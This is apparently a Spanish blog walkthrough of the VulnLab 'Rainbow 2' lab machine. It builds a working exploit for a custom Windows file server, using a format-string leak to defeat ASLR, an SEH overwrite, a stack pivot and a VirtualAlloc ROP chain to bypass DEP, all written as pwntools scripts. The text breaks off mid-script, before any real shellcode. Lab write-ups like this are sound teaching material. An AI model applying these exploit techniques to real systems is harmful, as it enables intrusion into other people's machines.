xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnLab

Rainbow 2



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 21 que corre un servicio ftp

❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10  
PORT     STATE SERVICE
21/tcp   open  ftp
2121/tcp open  ccproxy-ftp
3389/tcp open  ms-wbt-server

Ya que esta abierto iniciaremos por conectarnos a ftp, en este caso admite la autenticacion por defecto del usuario anonymous sin proporcionar contraseña

❯ ftp 10.10.122.10
Connected to 10.10.122.10.
220 Microsoft FTP Service
Name (10.10.122.10:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.  
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

Encontramos un par de archivos, un .exe, un .txt y dentro de la carpeta SysWOW64 la libreria kernel32.dll probablemente de la versión que utiliza, descargamos todos

ftp> dir
229 Entering Extended Passive Mode (|||5000|)
150 Opening ASCII mode data connection.
06-05-22  11:57AM               705536 filesrv.exe
06-05-22  02:43PM                  275 README.txt
06-09-22  05:36AM       <DIR>          SysWOW64
226 Transfer complete.
ftp> dir SysWow64
229 Entering Extended Passive Mode (|||5001|)
125 Data connection already open; Transfer starting.  
05-11-22  03:46AM               641872 kernel32.dll
226 Transfer complete.
ftp>

El archivo README.txt nos dice que después de algunos ataques se han agregado mitigaciones para exploits de corrupción de memoria como ASLR, DEP y GS

❯ cat README.txt
# FileSrv v0.2

Our simple file sharing server! Currently under development - we still seem to have some minor problems with binary files.  

Changelog:
 - After our last custom server got hacked we made sure to enable all mitigations: ASLR, DEP, GS! Now it's 100% secure.

Al ejecutar el binario se nos muestra que se ha iniciado un servidor en algun puerto

PS C:\Users\user\Desktop> .\filesrv.exe  
Starting Rainbow2 Server...!

De primeras no conocemos el puerto que ha abierto pero con TCPView podemos ver que el proceso filesrv.exe tiene abierto el puerto 2121 en la dirección 0.0.0.0

Al conectarnos al puerto parece que espera una entrada pero si enviamos una data por ejemplo de 16 bytes simplemente nos devuelve el mensaje ERROR sin más

❯ netcat 192.168.100.5 2121  
AAAAAAAABBBBBBBB
ERROR


Shell - dev


Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg

Si miramos los detalles del módulo podemos ver que contienes las protecciones DEP y ASLR, el primero impide que podamos ejecutar un shellcode en el stack, el segundo indica que la dirección base del binario deberia cambiar después de cada reinicio

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 0x75de0000 | 0x76026000 | 0x00246000 | True   | False   | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
 0x732d0000 | 0x73321000 | 0x00051000 | True   | False   | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
 0x756b0000 | 0x757a0000 | 0x000f0000 | True   | False   | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
 0x3f290000 | 0x3f340000 | 0x000b0000 | True   | False   | True  | False |  True    | False  | [filesrv.exe] (filesrv.exe)
 0x775d0000 | 0x77778000 | 0x001a8000 | True   | False   | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x76610000 | 0x766cb000 | 0x000bb000 | True   | False   | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
 0x77380000 | 0x773e5000 | 0x00065000 | True   | False   | True  | True  |  True    | True   | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

La parte mas compleja aqui es la del reversing debido a que el programa se creó en C++ y el tema de los objetos hace que sea más dificil leer el código, luego de renombrar algunas cosas iniciamos con la función main, esta inicia reservando un espacio en memoria y llamando a setup donde le pasa como argumento la string 0.0.0.0 y el puerto 2121, luego llama a la función server y finalmente a handler

La función que renombramos como setmem recibe un buffer y una longitud, luego llama a memset para llenar ese buffer con 0's en el total de bytes del argumento

La función server inicia llamando a la función WSAStartup para inicializar winsock y luego llama a la función socket para crear un socket y este devuelve un descriptor

Luego utiliza htons para darle formato al puerto 2121 y posteriormente llamar a bind y listen para ponerse en escucha de conexiones entrantes en ese puerto

La función handler inicia realizando un salto condicional ya que se iniciará un bucle

En este caso se llama a la función select para verificar que los descriptores en la variable readfs esten listos para operaciones evitando asi errores de I/O

Si el valor devuelto por select es mayor a 0 sigue la linea roja que llama a accept que recibe una conexión y devuelve un nuevo descriptor en el valor de retorno

Si se sigue la linea verde llama a memset para reservar un espacio en memoria y luego a recv para recibir un total de 0x1000 o 4096 bytes en el buffer asignado

En la parte final se llama a la función CreateThread para crear un hilo por cada conexión, cada hilo ejecuta la función StartAddress pasandole el descriptor

Por cada entrada recibida se llama a la función menu donde posiblemente se prepara la variable buffer, finalmente se llama a send que envia el contenido al socket

La función menu recibe el buffer y copia a una variable command los primeros bytes separados por un espacio, luego copia a la variable path el argumento al command

Empieza con un par de comparaciones, si la variable path es igual a .., C:\\ o \\ nos lleva a un bloque que muestra el mensaje de error Fishy path y retorna

Podemos comprobarlo enviando como comando cualquier cosa como TEST y como argumento los paths restringidos, podemos ver que nos devuelve el error esperado

❯ netcat 192.168.100.5 2121  
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
TEST \
ERROR: Fishy path

Luego realiza una pequeña validación para que el programa se ejecute en el path C:\shared, si esta condición se cumple copia al buffer de respuesta la string Path: seguida del contenido que se usa como path, por la convención podemos pensar que se utiliza alguna función como snprintf que puede llevar a un format string

Lo comprobamos enviando como path cualquier cosa como una letra A, en la respuesta podemos ver el mensaje Path: A que refleja el path de nuestra entrada

❯ netcat 192.168.100.5 2121
TEST A
ERROR: Can not open Path: A  

Vemos una comparación del comando con LST y con GET, debido a las validaciones de path podemos suponer que LST actúa como un dir y GET como un type

Las restricciones no comparan la ruta /, asi que podemos usar LST para listar archivos desde la raíz, aunque esta no es la vulnerabilidad que debemos seguir

LST /
Path: /
C:\Documents and Settings
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Recovery
C:\System Volume Information  
C:\Users
C:\Windows

También podemos usar un simple . para ver los archivos en el directorio actual, al parecer si le pasamos un archivo al comando GET devuelve el contenido en base64

LST .
Path: .
C:\shared\filesrv.exe  

GET filesrv.exe
Path: filesrv.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAJsIVFjfaToL32k6C99pOgsMGzkK0mk6CwwbPwpqaToLDBs+CslpOguNHD4KzWk6C40cOQrLaToLjRw/CpJpOgsMGzsK2mk6C99pOwuhaToLHhw/CtxpOgseHMUL3mk6Cx4cOAreaToLUmljaN9pOgsAAAAAAAAAAFBFAABMAQUAGJqcYgAAAAAAAAAA4AACAQsBDh0A8AgAAOYBAAAAAAA5EAMAABAAAAAACQAAABBAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAAALAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/FMKADwAAAAAoAoA4AEAAAAAAAAAAAAAAAAAAAAAAAAAsAoAqE4AAIzZCQBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4NkJAEAAAAAAAAAAAAAAAAAACQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACj7ggAABAAAADwCAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA6F4BAAAACQAAYAEAAPQIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAACwzAAAAYAoAAB4AAABUCgAAAAAAAAAAAAAAAABAAADALnJzcmMAAADgAQAAAKAKAAACAAAAcgoAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAqE4AAACwCgAAUAAAAHQKAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsagC5SHw=  

Sabemos que el path se refleja en la respuesta y probablemente ocasione una vulnerabilidad de format string, enviaremos varias %p separados por un .

❯ netcat 192.168.100.5 2121  
TEST %p.%p

Cuando llegamos al breakpoint en la llamada a la función send que envia el buffer vemos que en lugar de los %p se reflejan algunos punteros bastante interesantes

0:000> bp filesrv + 0x11e13

0:000> g
Breakpoint 0 hit
eax=00000128 ebx=010fe894 ecx=010ff9b8 edx=013c25b0 esi=3f2a4120 edi=3f2a4120  
eip=3f2a1e13 esp=017af704 ebp=017af834 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x11e13:
3f2a1e13 e8982a0000      call    filesrv+0x148b0 (3f2a48b0)

0:000> db poi(esp + 4)
013c25b0  45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f  ERROR: Can not o
013c25c0  70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30  pen Path: 1DE700
013c25d0  34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba  4F.3F2A4120.....
013c25e0  ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00  ................
013c25f0  10 e4 fb a2 f4 5e 00 00-c0 00 3b 01 c0 24 3c 01  .....^....;..$<.
013c2600  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
013c2610  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
013c2620  ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................

El segundo puntero apunta a una dirección estática en el binario, podemos restarle la dirección base del binario desde el debugger y obtener el offset que es 0x14120

0:000> lm m filesrv
Browse full module list
start    end        module name
3f290000 3f340000   filesrv  C (no symbols)  

0:000> ? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120

Automatizamos este proceso en un script de python, enviamos los %p que nos muestra el leak y al restar el offset calculado muestra la dirección base del binario

#!/usr/bin/python3
from pwn import remote, log

shell = remote("192.168.100.5", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 2121: Done  
[*] Binary base: 0x3f290000
[*] Switching to interactive mode
$

La entrada en realidad tampoco parece estar muy bien sanitizada, asi que enviamos una cantidad alta de bytes de cyclic en busca de algún tipo de desbordamiento

#!/usr/bin/python3
from pwn import remote, cyclic

shell = remote("192.168.100.5", 2121)  

payload = cyclic(4000)

shell.sendline(b"TEST " + payload)
shell.interactive()

Al enviar el exploit el programa corrompe sin embargo el eip no apunta a ninguna parte de la cadena, aunque no sobrescribimos un return address si sobrescribimos la estructura SEH por lo que sobrescribimos ambos valores de la estructura

0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010b0000 ebx=00007878 ecx=010af0dc edx=00000000 esi=010af0f0 edi=010af538
eip=3f2de8ea esp=010af0b4 ebp=010af0c4 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:010b0000=??  

0:000> !exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169

Le pasamos el valor a cyclic que nos dice que offset para sobrescribir el puntero al siguiente SEH es de 1032 bytes, y para sobrescribir el SEH handler 1036 bytes

❯ cyclic -l 0x6b616169  
1032

❯ cyclic -l 0x6b61616a  
1036

Nuestro payload ahora envia 1032 A's hasta antes de sobrescribir la estructura SEH, 4 B's que serán el siguiente SEH y 4 C's que serán el controlador, ademas de ello rellenamos con D's hasta llegar a 4000 bytes para mantener el exploit estable forzando que ocurra la excepción enviando una cantidad muy grande de bytes

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.5", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

offset = 1032
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242 y el controlador con 0x43434343

0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01510000 ebx=00004444 ecx=0150f1dc edx=00000000 esi=0150f1f0 edi=0150f638
eip=3f2de8ea esp=0150f1b4 ebp=0150f1c4 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:01510000=??  

0:000> !exchain
0150fda4: 43434343
Invalid exception stack at 42424242

En explotaciones normales usariamos un pop; pop; ret; que ejecutaría el nseh como opcode sin embargo como DEP está habilitado el stack no es ejecutable

0:000> !vprot esp
BaseAddress:       00cef000
AllocationBase:    00bf0000
AllocationProtect: 00000004  PAGE_READWRITE  
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE  
Type:              00020000  MEM_PRIVATE

Lo que podriamos hacer es ejecutar una cadena rop para bypassear DEP, para ello antes necesitamos controlar stack ya que ahora solo sobrescribimos el controlador, iniciamos buscando en el stack la cadena TEST que apunta al inicio del buffer

0:000> !teb
TEB at 00cb4000
    ExceptionList:        0159e7b4
    StackBase:            015a0000
    StackLimit:           0159d000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00cb4000
    EnvironmentPointer:   00000000
    ClientId:             00002f90 . 00000470
    RpcHandle:            00000000
    Tls Storage:          00fb2f00
    PEB Address:          00ca1000
    LastErrorValue:       187
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> s -a 0x0159d000 0x015a0000 TEST
0159f4f0  54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01  TEST..Y....?L.Y.  

0:000> db 0x0159f4f0
0159f4f0  54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01  TEST..Y....?L.Y.
0159f500  04 00 00 00 0f 00 00 00-b8 6f fb 00 00 00 fa 00  .........o......
0159f510  7c f5 59 01 64 60 22 77-a0 0f 00 00 af 0f 00 00  |.Y.d`"w........
0159f520  28 69 ca 62 00 00 fa 00-00 00 00 00 62 00 00 40  (i.b........b..@
0159f530  4c f6 59 01 c8 0f 00 00-00 00 00 00 0f 00 00 00  L.Y.............
0159f540  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0159f550  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0159f560  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Entonces, 0x50 bytes después de la dirección de la string encontramos el inicio de las A's, si restamos esa dirección al esp podemos ver que está a 0xda0 bytes

0:000> db 0x0159f4f0 + 0x50
0159f540  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f550  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f560  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f570  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f580  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f590  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f5a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0159f5b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0:000> ? 0x0159f540 - esp
Evaluate expression: 3488 = 00000da0

Buscando un stack pivot con ropper encontramos 2 posibles, el primero es muy corto, entonces usaremos el segundo que aunque se pasa un poco nos servirá

❯ ropper --file filesrv.exe --search "add esp, 0x???; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp, 0x???; ret;

[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;

Actualizamos nuestro exploit, ahora el controlador apunta al stack pivot por lo que cuando ocurra la excepción saltará a él haciendo que el esp apunte a las A's

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.100.5", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

offset = 1032
junk = b"A" * offset

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Al ejecuutar nuestro exploit corrompe nuevamente, aunque el nseh sigue apuntando a las B's el controlador ahora apunta a la dirección del gadget add esp, 0xe10; ret;

0:000> g
(12a4.13f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b20000 ebx=00004444 ecx=00b1f170 edx=00000000 esi=00b1f184 edi=00b1f5cc
eip=3f2de8ea esp=00b1f148 ebp=00b1f158 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838            mov     byte ptr [eax],bh          ds:002b:00b20000=4d  

0:000> !exchain
00b1fd38: filesrv+11396 (3f2a1396)
Invalid exception stack at 42424242

0:000> u 0x3f2a1396 L2
filesrv+0x11396:
3f2a1396 81c4100e0000    add     esp,0E10h
3f2a139c c3              ret

Establecemos un breakpoint en el y al continuar la ejecución eventualmente llega a ejecutarlo, ejecutamos el add esp, 0xe10 y avanzamos hasta la instrucción ret

0:000> bp 0x3f2a1396

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f2a1396 esp=00b1eb98 ebp=00b1ebb8 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
filesrv+0x11396:
3f2a1396 81c4100e0000    add     esp,0E10h

0:000> p
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f2a139c esp=00b1f9a8 ebp=00b1ebb8 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x1139c:
3f2a139c c3              ret

Aunque retorna a las A's sabemos que el pivot avanzó mas de lo que deberia y necesitamos saber cuánto, entonces nuevamente buscamos el inicio del buffer

0:000> !teb
TEB at 003b7000
    ExceptionList:        00b1ebac
    StackBase:            00b20000
    StackLimit:           00b1e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003b7000
    EnvironmentPointer:   00000000
    ClientId:             000012a4 . 000013f8
    RpcHandle:            00000000
    Tls Storage:          006513a0
    PEB Address:          003a4000
    LastErrorValue:       187
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> s -a 0x00b1e000 0x00b20000 TEST
00b1f8e0  54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00  TEST......)?<...  

Si rstamos la dirección del esp con la dirección donde inician las A's nos devuelve el offset, esto lo dividimos entre el tamaño de un dword y nos devuelve un 30

0:000> db 0x00b1f8e0
00b1f8e0  54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00  TEST......)?<...  
00b1f8f0  03 00 00 00 0f 00 00 00-b0 4a 65 00 00 00 00 00  .........Je.....  
00b1f900  08 3e 65 00 00 00 64 00-80 0c 00 00 8f 0c 00 00  .>e...d.........  
00b1f910  58 02 64 00 0b 29 6b 77-00 00 00 00 00 00 64 00  X.d..)kw......d.  
00b1f920  93 01 00 00 62 00 00 40-00 00 00 00 0f 00 00 00  ....b..@........  
00b1f930  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00b1f940  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00b1f950  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0:000> ? (esp - 0x00b1f930) / 4
Evaluate expression: 30 = 0000001e

Entonces, nuestra cadena rop enviará 30 veces la dirección del gadget ret; hasta llegar al verdadero ropchain, luego de ejecutarlo dejaremos C's como shellcode

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.100.5", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120  

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;

shellcode  = b""
shellcode += b"C" * 100

offset = 1032
junk = b"A" * (offset - len(rop + shellcode))

nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;

payload  = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))

shell.sendline(b"TEST " + payload)
shell.interactive()

Al ejecutar el exploit eventualmente llegamos al ret que ejecutará el ropchain real, como no enviamos ninguno el retorno apunta a las C's que simulan el shellcode

0:000> bp filesrv + 0x1010

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000  
eip=3f291010 esp=00cef514 ebp=00cee720 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
filesrv+0x1010:
3f291010 c3              ret

0:000> dds esp L1
00cef514  43434343

La función VirtualAlloc nos servirá para cambiar los privilegios del stack debido a que reserva un espacio en memoria, lo mas relevante es que en el primer argumento podemos indicar la dirección donde queremos hacerlo y con el último la protección

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect
);

En el lpAddress podemos pasar la dirección del esp donde iniciaremos, en el dwSize usaremos 0x1 que reservará una página, en flAllocationType pasaremos MEM_COMMIT o 0x1000 y finalmente en flProtect usaremos 0x40 que es igual a PAGE_EXECUTE_READ_WRITE, de esta forma se nos permitiría ejecutar el shellcode

VirtualAlloc($esp, 0x1, 0x1000, 0x40);  

Algo a tener en cuenta es que los argumentos se pasan en el stack, como tenemos DEP habilitado hay pocos gadgets que ejecuten un push de un solo registro sin intentar ejecutar algo más, un método es utilizar el gadget pushad; ret; que ejecuta un push de todos los registros en un orden especifico que es el siguiente

Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);

El ultimo argumento lpAddress indica el inicio de donde reservaremos memoria asi que tenemos que adaptarnos al orden de pushad, tendremos que guardar los valores de los otros 3 argumentos en orden inverso a partir del push de Temp o esp

$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress

Comenzamos con ecx, para cargar el valor sin null bytes podemos usar un gadget sub eax y calcular la diferencia, en este caso sumandole el valor de 0x40

0:000> ? 0x8314c26b + 0x40
Evaluate expression: -2095791445 = 8314c2ab  

Con el gadget xchg edi, eax cargamos el valor resultante en edi, luego tenemos un mov ecx, edi que finalmente lo guarda en ecx pero termina en un call esi, para ello guardaremos en esi el gadget pop esi; ret; que saltará al siguiente gadget

# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;  
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;

En edx necesitamos cargar 0x1000, realizamos exactamente el mismo proceso y terminamos y una vez calculado movemos el valor de eax al registro edx

0:000> ? 0x8314c26b + 0x1000
Evaluate expression: -2095787413 = 8314d26b  

# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b)            # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;  
rop += p32(0x41414141)            # padding for pop

Para ebx necesitamos 0x1, esto es un poco mas simple, podemos cargar el valor 0xffffffff o -1 y simplemente incrementar su valor 2 veces dejandolo en 1

# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff)            # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;  

Lamentablemente la función VirtualAlloc no está cargada en la tabla IAT, lo que podemos para calcularla hacer es desreferenciar cualquier función como TlsAlloc y después sumarle el offset hacia la función VirtualAlloc dentro de kernel32.dll

Para llegar a la función VirtualAlloc desde TlsAlloc necesitaremos ya sea el valor 0x3140 o sumar 0xffffcec0 al valor previamente desreferenciado

0:000> ? kernel32!TlsAllocStub - kernel32!VirtualAllocStub  
Evaluate expression: 12608 = 00003140

0:000> ? kernel32!VirtualAllocStub - kernel32!TlsAllocStub  
Evaluate expression: -12608 = ffffcec0

Establecemos en edi el valor 0xffffcec0, luego cargamos y desreferenciamos en eax la dirección de TlsAlloc y le sumamos el offset que guardamos antes en edi

# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0)            # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;  
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;

Nos quedan 3 registros antes de Temp, en edi que sera el primero en ejecutarse simplemente ejecutaremos un ret y pasaremos al valor de esi que ejecutará VirtualAlloc, al terminar la función ejecutará el pop rbp que limpiara el stack para ejecutar la siguiente instrucción que será el salto al shellcode a ejecutar

# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;  
rop += p32(binary_base + 0x01010) # ret;

Ya con todos los registros establecidos podemos ejecutar el pushad; ret;, luego de salir de VirtualAlloc ejecutaremos un simple jmp esp para ejecutar el shellcode

# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;  
rop += p32(binary_base + 0x11394) # jmp esp;

Nuestro exploit ahora se ve así, si todo funciona correctamente el ropchain llamará a la función VirtualAlloc y saltará al shellcode que por ahora son simplemente C's

#!/usr/bin/python3
from pwn import remote, p32

shell = remote("192.168.100.5", 2121)

shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")

binary_base = int(shell.recvline().strip(), 16) - 0x14120

rop  = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab)            # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
